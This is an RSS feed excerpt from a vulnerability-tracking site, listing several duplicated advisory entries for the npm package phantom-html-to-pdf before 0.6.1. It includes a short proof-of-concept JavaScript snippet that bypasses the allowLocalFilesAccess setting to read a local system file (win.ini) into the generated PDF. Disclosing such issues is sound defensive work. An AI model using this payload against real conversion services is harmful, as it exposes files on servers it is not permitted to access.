https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 08 Oct 2026 20:23:27 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-171605 EUVD-2026-171605 https://cve.radiocsirt.org/vuln/euvd-2026-171605 https://cve.radiocsirt.org/vuln/fkie_cve-2020-7763 <p>This affects the package phantom-html-to-pdf before 0.6.1.</p> <p>This affects the package phantom-html-to-pdf before 0.6.1.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2020-7763 https://cve.radiocsirt.org/vuln/ghsa-6h7f-qwqm-35pp <p><strong>Affected:</strong> npm: phantom-html-to-pdf</p> <p>This affects the package phantom-html-to-pdf before 0.6.1.</p> <p>### PoC ```js var fs = require(&#39;fs&#39;) var conversion = require(&#34;phantom-html-to-pdf&#34;)(); conversion.allowLocalFilesAccess = false conversion({ html: &#34;document.write(window.location=&#39;c:/windows/win.ini&#39;)&#34; }, function(err, pdf) { var output = fs.createWriteStream(&#39;output.pdf&#39;) console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```</p> <p><strong>Affected:</strong> npm: phantom-html-to-pdf</p> <p>This affects the package phantom-html-to-pdf before 0.6.1.</p> <p>### PoC ```js var fs = require(&#39;fs&#39;) var conversion = require(&#34;phantom-html-to-pdf&#34;)(); conversion.allowLocalFilesAccess = false conversion({ html: &#34;document.write(window.location=&#39;c:/windows/win.ini&#39;)&#34; }, function(err, pdf) { var output = fs.createWriteStream(&#39;output.pdf&#39;) console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```</p> https://cve.radiocsirt.org/vuln/ghsa-6h7f-qwqm-35pp https://cve.radiocsirt.org/vuln/gsd-2020-7763 gsd-2020-7763 https://cve.radiocsirt.org/vuln/gsd-2020-7763